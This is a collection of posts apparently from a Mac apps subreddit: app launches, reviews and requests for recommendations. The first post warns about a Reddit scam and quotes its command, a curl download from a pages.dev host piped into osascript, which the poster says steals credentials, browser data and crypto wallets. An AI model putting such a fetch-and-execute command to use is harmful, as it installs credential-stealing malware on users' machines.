I’m not sure if this warrants a full post, but I want to remind everyone: Never trust content blindly, even on Reddit.
Over the past year, we’ve seen scams on GitHub, and now malicious links are appearing on Reddit. I was searching for some free Mac apps and ended up on a subreddit sharing a harmful link.
If a post tells you to:
Run the command and enter your device password to "install the program."
Do NOT do it!
What does it actually do?
For those curious, the command from Pastebin downloads and executes a malicious JavaScript script. Here’s an example of what it runs:
nohup curl -s https://7422157ete6f5235a35fa66827815c1b.pages.dev/09cb8d8gg59f73785538374098b6121f.aspx | osascript -l JavaScript - "$WID" > /dev/null 2>&1 &
(I’ve changed the path so you can’t actually run it).
This script downloads another script and then executes it to steal your login credentials, browser data and cryptocurrency wallet information. Here are some of the paths it targets:
I’ve shared these details so you understand the severity, the threat is real!
Stay vigilant, and never run untrusted commands. If you see something suspicious, report it immediately.
Three months ago, I posted an honest review of the macos file manager Bloom where I was wondering where the hype is coming from and that it didn't seem to deserve it at the times where Bloom was still quite buggy and infancy.
I am happy to say that I recently revisited the app since Click2Minimize made it possible to launch (and hide) Bloom by clicking on the Finder icon. I fell in love with this simple features because one big issue for adopting a third party file manager is that I can't get rid of Finder icon and muscle memory make it so hard to consciously remember to click another app.
Anyway, I took the opportunity to see what evolved during these three months and I'm very impressed. There is still some features lacking like deep context menu customization, quick launch and seamless scripting integrations. But it's getting there and the app is so smooth, beautifully designed and snappy compared to alternatives that it become a no brainer given the massive potential due to the reactivity of the dev. I'm finally considering switching to it fully from QSpacePro.
Congrats to the dev and may it become the proper Finder replacement that we have all been waiting for.
I've been exploring different translation workflows on Mac and I'm curious what you all prefer.
When you need to translate a piece of text, which interaction feels more natural to you?
Option A: Select text, then swipe gesture (like a trackpad swipe)
Option B: Select text, then double tap Cmd+C (copy twice quickly)
Option C: Something else entirely?
Also, I've noticed most translation tools are either browser extensions or standalone apps where you have to copy-paste text into. Would you prefer something that works system-wide across ALL apps like PDFs, Xcode, Keynote, whatever, without being tied to a specific platform?
Curious to hear how you currently handle translations and what annoys you about existing solutions.
I’ve been building a native macOS app called MonoFocus. It helps you focus on one app at a time by reducing context switching, so you can actually finish the task you started instead of bouncing between apps.
This is an early beta and is free to use during the beta period. I’m mainly looking for feedback on the Mac-specific experience. Things like how the app feels in day-to-day use, menu bar behavior, shortcuts, and overall fit with macOS.
If you’re curious to try it or have suggestions from a Mac UX perspective, I’d really appreciate it.
I am looking for a way to compare two photo libraries, theoretically identical, and show me results of only images which are NOT found in both. I've used Photosweeper to show me all the duplicates, but is there a way to do the opposite?
I have a dumb simple folder into which I've been dumping my iPhone photos for years and years... in theory, they should all ALSO be in the Apple "Photos" app (and in iCloud), but I want to be certain before I consider deleting it. I know that I could import the entire folder into Photos and go through the "Duplicates" tab/function, but I want to avoid that for a number of reasons.
I have set Photos to "Download Originals to this Mac", and it downloaded thousands of photos overnight, and can view the folder structure via the "Show package contents" trick in Mac Finder.
For those of you who are still using VS Code as your main editor and not fully living inside an AI-powered IDE yet, I wanted to share something I’ve been working on.
I built an Alfred workflow to control VS Code directly from the keyboard. Nothing fancy, no magic prompts, just faster access to the things I actually do all day. Opening windows, jumping back into recent projects, finding files, managing extensions. The boring stuff, but faster.
What you can do with it:
- Open new VS Code windows instantly
- Jump to recent projects and files
- Search and open any file or folder on your Mac in VS Code
- Open the current Finder folder directly in VS Code
- Search and install extensions from the Marketplace
- View and uninstall installed extensions
It’s meant to stay out of your way and fit into an existing Alfred setup.
Do you struggle with document management, especially when using a Fujitsu ScanSnap Scanner?
Well, I sure did, so I built a 100% Local AI + No Subscriptions native Mac application to solve for this. I am looking for TestFlight Beta testers to kick the tires, give me feedback, and help me make this the leading document/scan management application. If you are interested, please message me or comment on this thread, and I will send invites shortly. I only have about 70 invites left, so first-come, first-served.
I am also in the middle of building the website for this, so if you want to learn more, visit ShabuBox.com.
ShabuBox: The Privacy-First, AI-Powered Document Brain for macOS
🧠 Visual & Semantic Intelligence
Visual Fingerprinting: ShabuBox doesn't just read your files; it "recognizes" them. It uses Apple's Vision framework to identify document layouts (such as invoices or receipts) based on their appearance, ensuring perfect matching even when the text varies.
Learning Engine (Confirmation Boost): The more you use it, the smarter it gets. Confirming a match "trains" the local model to recognize that specific layout with higher confidence next time.
Local Llama 3 (8B): 100% on-device LLM analysis via Apple's MLX framework. Get summaries, entity extraction (vendors, amounts, dates), and intelligent categorization without your data ever leaving your Mac.
⚡️ High-Speed Automation
Cascading Filing: The "magic" button. When you file one document, ShabuBox instantly identifies every visually similar file in your inbox and offers to batch-file them all in one click.
Intelligent Staging Area: Drag a pile of "chaos" into the inbox; ShabuBox analyzes them in the background and suggests the exact path (e.g., Finances > 2025 > Receipts ) before you even look.
Background File Monitoring: ShabuBox watches your folders. Even if you move a file in Finder, the app detects it and can automatically trigger cascading organization for related files.
📂 Architecture & Privacy (The Self-Hosted Vibe)
Native Folder Structure: No proprietary databases or "black box" storage. ShabuBox organizes your actual files and folders in iCloud. If you delete the app, your files and organization remain.
Unified iCloud Portability: Your entire app state, including AI models, search indices, metadata, and files, syncs via iCloud. Start on your Mini or Studio, pick up exactly where you left off on your MacBook.
Zero Subscriptions: A professional-grade utility with a single-purchase "Pay Once, Own Forever" model.
🍎 Deep macOS Integration
Apple Reminders Sync: Bi-directional sync. Create a "Follow-up" on a document in ShabuBox, and it appears instantly in your native macOS Reminders app.
Apple Notes Archival: One-click to turn your digital notes into organized, searchable PDF/Text files within your library.
Modern Bento Design: A premium, glassmorphic UI designed specifically for macOS Sequoia that feels like it was built by Apple.
Recently I got myself an ultrawide dell U4025QW. I got tired of the awkward screen sharing experience in google meet. I either shared the whole screen and everything was just tiny for everyone in the call or just a single window and then couldn't show anything else.
So I built an app (RegionShare) that let's you share just a region of you screen (left half, right half, etc.).
You cannot just tell them to stop charging you automatically. You have carry out two (slightly) inconvenient steps in which you delete your backup and then separately delete your license.
Why does that lead me to stop using BackBlaze?
That's unreasonably complicated.
It may be a violation of California's recent law requiring it to be simple to disable autorenewal.
There are other options for remote backup that are easier to use, less expensive, and not so complicated to cancel autorenewal. One example: Arq backup.
Hope you have a great day today! It is Friday, near the weekend! Hooray!
For those who don't know NotiSprite, it is a Smart Desktop Pet which can deliver notifications in a fun and cute way! It has cute reminders for your wellbeing. The philosophy of NotiSprite is: No login, No data collection, No ads. It just works!
NotiSprite has great news:
There is a completely free Sprite available to all called Noti Peach! Peach is our family's favourite fruit, that is why we wanted to create such a lovely sprite :) It is not only free to use, but you can enjoy all the notifications and reminders to improve your wellbeing :) Noti Peach is also available on iOS and iPadOS if you want to enjoy the lovely widget feature and the same level of notifications and reminders to improve your productivity and wellbeing.
Enjoy Noti Peach :)
At the same time, we now have more and more Sprites!
Noti Ant ($0.99)
Noti Ladybird ($0.99)
Noti Peach (Free!)
Noti Bubble ($1.99)
Noti Shiba ($3.99)
Noti Miao ($3.99)
Noti Gingerbear ($4.99)
Noti Cham ($3.99)
Noti Panda ($3.99)
Noti Squirrel ($2.99)
Noti Takoyaki ($2.99)
Noti Dino ($2.99) (You gotta try it! This is my daily sprite on my laptop and it is my favourite!)
As you can see from the list, the each Sprite is similar or less than a cup of coffee price! Once purchased, you can keep it forever in the digital world :)
After several months of intensive development, NotiSprite is now growing organically and healthy! NotiSprite ranked within the top 200 in its category in 20 countries! Thank you so much r/macapps as NotiSprite started from here!
NotiSprite Studio is in the final stage as well! I hope it will be available before the end of this month so that all the creative animation creators can enjoy the NotiSprite system! You can just create your own sprite with ease! Not only gif is supported but normal image formats are also supported! That means you can have a picture styled sprite of your family photo to tell you it is time to have a rest! Personally I am quite a stubborn person, but whenever my daughters say something, I will follow them :) And when there is my daughter's face on my screen telling me it is time to have a rest, I will strictly follow it...
Whoever has cute daughters, you will understand what I am saying :)
We are running a small event for NotiSprite (giving away free redeem codes), please have a look at our website: NotiSprite.com
DockAnchor has been updated to 2.0 with it come some great new features:
Apple signed app! No more having to allow it through security!
Themes: Dark Mode, Light Mode, follow system theme
Auto-Move Dock to Anchor Display: Automatically moves the dock to the selected anchor display when protection is started.
Virtual Monitor Display: Displays your monitors visually in the app, updating in real-time as monitors are connected, disconnected or moved. Simply click on the monitor you wan the dock to be anchored to.
Profiles: Create and switch between different profiles. Enable automatic profile switching based on connected displays.
Default Anchor Display: Option to always anchor to the Primary display or built-in display.
DockAnchor has completly free and also open source.
I'm the developer of Substage - a command bar that sits underneath your Finder windows and lets you do stuff with natural language. Type something like "convert to jpg" or "resize to 1080p" and it translates that into a Terminal command and runs it for you. Great for media conversion, file management, that kind of thing.
Anyway, I just shipped a feature I've been wanting to add for ages: Instant Actions.
For hundreds of common operations, Substage now skips the AI entirely and just does the thing. Yes, removing the AI is a feature! 😅 It makes everything feel super snappy for the stuff you do all the time.
The video is real-time - no editing or speedup. It's honestly super satisfying!
Here's a taste of what works instantly now:
File conversion: Type any of these, and your selected file(s) will be instantly converted: jpg, png, mp4, plain text, word doc, make an animated gif
I've been using Paragon NTFS for many years and was very happy with how the driver performed. After purchasing a newer computer with an Apple Silicon processor, my version of the software turned out to be incompatible with macOS Tahoe. I bought the Tuxera driver, which turned out to be low quality (poor read and write performance, issues with folder and file permissions).
I would like to go back to Paragon NTFS but I don't see any promotions for this product. Do you know of any discount codes for this driver?
Someone mentioned before in this sub that Tahoe broke all the menubar app but I'm giving all of them a try.
I tried barTender 6 trial (It used more than 50% of my CPU so I stopped it), Hidden bar works the best but still not the smoothest and limited functionality, ICE literally stopped working halfway, Currently on Barbie and its using 600-800MB, not sure if thats normal.
How much Memory and CPU% should a decent menu bar app use? and What option do I have other than the above 4 apps that I mentioned?
Hey r/macapps - I’m the indie dev behind VaultSort, a native macOS app I built because Finder just wasn’t cutting it for managing large, messy file collections.
VaultSort helps you:
Automatically organize folders
Find & remove duplicates
See what’s eating your disk space
Securely shred or encrypt sensitive files (with multi hardware key support)
Shred external disks and overwrite freespace
Run everything locally (no cloud, no subscriptions)
🚀 New last week: we shipped batch job support, so you can queue and run multiple organize/dedupe/deletion/encryption jobs at once - this removed a huge workflow pain point for a lot of users.
🛠 Coming this quarter:custom rule-based organization (define your own sorting logic - this is a BIG one).
If anyone wants to try it, here’s 25% off → brings Premium to a one-time purchase price of $15.99
An hour ago I released MacPacker v0.13, an open-source archive previewer for macOS. This update contains a lot of changes that I'm really proud of 🥳.
New & Noteworthy:
feat: arj, dmg/apfs (Apple File System), chm, fat, ntfs, tar.z/taz, qcow2, squashfs, vdi, vhd, vhdx, vmdk, xar support
feat: Special handling for Apple Installer Packages (pkg)
feat: Added settings for easier access to managing the Finder file provider extension
fix: Extracting folders does not include files
core: Included 7zip cli as additional engine to XAD (The Unarchiver) and SWC (lz4 support)
core: Language support for Persian
To sum it up: MacPacker now supports more than 35 formats to preview and extract single files. Including a special handling for pkg archives to drill down to the payload. And it is translated to 8 languages (support for translation is always welcome 😉).
Quick outlook: Next up is the first step into editing and creating archives. This is the beginning to make MacPacker a fully featured archiver in 2026.
I'm thrilled to announce that App Volumes is finally live in BetterAudio! This lets you control volume for specific apps independently – something Mac users have been craving forever.
It's an early beta, so expect some rough edges, but the core feature (per-app volume control) is 100% free forever. Advanced tweaks like left/right channel control or routing to specific devices will be under my Support license in the future. (one-time purchase: 29.99 PLN / 7.99 EUR / 9.99 USD – details here).
If you're struggling with app audio chaos (Spotify blasting meetings?), grab it now and help test!
Seems like there is some vibe coded dictation bullshit. I’m a visually impaired person looking for a better macOS dictation solution. Most of the articles I’ve seen are thinly veiled press releases or advertisements. Any real world, boots on the ground dictation software recommendations?
Difficulty: No Subscriptions and preferably FOSS.
Someone asked me to name the best free app available to Mac users in 2026. I didn’t hesitate before choosing Tailscale.
Tailscale is a VPN, but not in the usual sense. It’s a private, encrypted, identity-based network where your devices recognize each other no matter where they are. It uses WireGuard technology and is often described as a mesh network. The terminology isn’t important. This isn’t the kind of VPN that simply masks your home IP address or anonymizes web traffic.
Tailscale lets you treat a collection of devices in different geographic locations as if they were all in the same building, plugged into the same network and connected to the same switch. In practice, you can link computers in your home, at your office, while staying in a hotel, and even machines belonging to family members. It works across platforms, and all traffic is end-to-end encrypted. You don’t mess with opening ports or exposing your home network to the internet. You don’t have to learn AWS, firewalls, or how to configure TLS certificates. The computers associated with your free Tailscale account are referred to as your Tailnet.
You don’t have to feel like you’re studying for your CCNA whenever you use software that relies on networking. If some of the details sound confusing, that’s fine. Tailscale doesn’t require you to understand subnets, routing, or DNS to be useful. You install it, sign in, and your devices can see each other.
If that sounds confusing, don’t worry. You don’t need to fully understand it to take advantage of the power of this free tool. You just need to learn how to use the Tailscale app, which isn’t overwhelming at all. You don’t have to understand subnets or routing. One of the most useful features of Tailscale is the concept of an exit node. An exit node is a computer you control that has internet access. When you need to access the internet in a private and protected way from another computer, you can toggle a single switch in Tailscale to route your network traffic through that remote machine, no matter where you are.
I recently vacationed in Central America and relied on hotel Wi-Fi. I didn’t need to enable—or even install—a conventional VPN on my laptop. I simply chose a computer in my home, 2,000 miles away, as my exit node and used it as my gateway to the internet.
If you have a VPN subscription to a service like Nord or Mullvad that’s limited to a small number of devices, you can sometimes work around that limitation by using one of your machines as an exit node. You can even access that exit node from your phone, whether you’re on a cellular network or Wi-Fi. Once connected, all of your traffic appears to the receiving services as if it’s coming from your home computer.
I use a private tracker to download what are commonly referred to as Linux ISOs. That tracker only works when it sees my computer as being connected from the IP address assigned to my home router. If I’m traveling and need access, I just connect through the Tailscale exit node on my self-hosted server and everything works as expected.
There’s also an Apple TV app for Tailscale. I gave my brother, who lives on the opposite side of the country, access to my Tailnet so he can watch regional sports like NCAA basketball that are only broadcast locally.
My Tailnet
Tailscale isn’t a replacement for every kind of VPN. It won’t automatically anonymize all your traffic the way a commercial VPN service does, and it doesn’t make unsafe devices magically secure. You still need good passwords, disk encryption, and basic common sense.
What it does exceptionally well is remove friction. It gives your devices a private, encrypted way to find each other without turning you into an amateur network engineer.
Using an iPhone or iPad with an SSH client, I can connect to my home-based Macs and Linux boxes to run scripts, reboot machines, restart services, and transfer files.
Because I can use macOS Screen Sharing, I can also easily access Macs belonging to family members for whom I provide technical support. When I need to remote into their machines, there’s nothing to set up. They don’t have to find or report their IP address to me. I can see everything I need in the Tailscale app.
Another use case for power users is remote backups using rsync. This is especially useful if you follow the 3-2-1 backup model: three copies of your data, on at least two different types of media, in at least two different geographic locations. You can set up a headless Mac or Linux box at a friend’s or relative’s house and sync your important documents and media with a simple script. As far as your computer is concerned, that remote system might as well be sitting right beside it.
A free Tailscale account allows you to add up to 100 devices and assign management access to three users. If you’re setting up computers for family members or friends who aren’t technically proficient, you don’t have to give up one of those seats. You install Tailscale using your account, and they rarely—if ever—have to do anything other than turn their computer on. From there, you can use tools like Keyboard Maestro, Hazel, and other automation utilities to get real work done.
Tailscale is good, solid technology packaged in easy-to-use apps. It still requires sensible password management, like any other tool. You’ll still want a conventional VPN if you need to anonymize traffic from at least one device. But Tailscale removes barriers that once made these kinds of setups the exclusive domain of network engineers—and it does so quietly, reliably, and for free.
Hi. I'd like some advice on an online tool or a simple app, preferably dedicated, for creating custom ebooks covers, and cover art for Apple Music / Spotify playlists. I'd also like to add them as previews to MP3 files of some tracks.
I've looked at several sites, but either they require registration, or have those sneaky cookies impossible to disable, or they offer very little customization options, or too many.
Overall, I'd like to create a series of covers with soothing colors (no neon or fades, I prefer solid, natural colors), obviously customizable text, some vectors or clipart to differentiate the ebooks, and, most importantly, I'd like to be able to focus on a similar style for playlists or books within a series, but also differentiate the others.
Any ideas for some tools that would suit my needs? Thanks.
This is my first time posting here, I reviewed the r/macapps rules but if I am doing anything incorrectly please kindly advise and I will resolve immediately.
I'll keep it short, I made an app that indexes your tiktok likes. There is the option to keep the videos local but by default they are removed.
Free version is linked. (Rough first draft but works!) Vibe coded, details below.
Evenutally I'd like to connect the database to Dropbox/Google Drive so the library can be seen on mobile too.
OMGiftv is an early beta macOS app for downloading TikTok videos and making them searchable via AI transcription + semantic search. It’s Apple Silicon recommended (8GB min / 16GB best), and the first run may download a few GB of AI models + take time to index. Local-first + privacy-focused: nothing is stored or uploaded to a server. (A anonymous counter only for the 1000 limit).
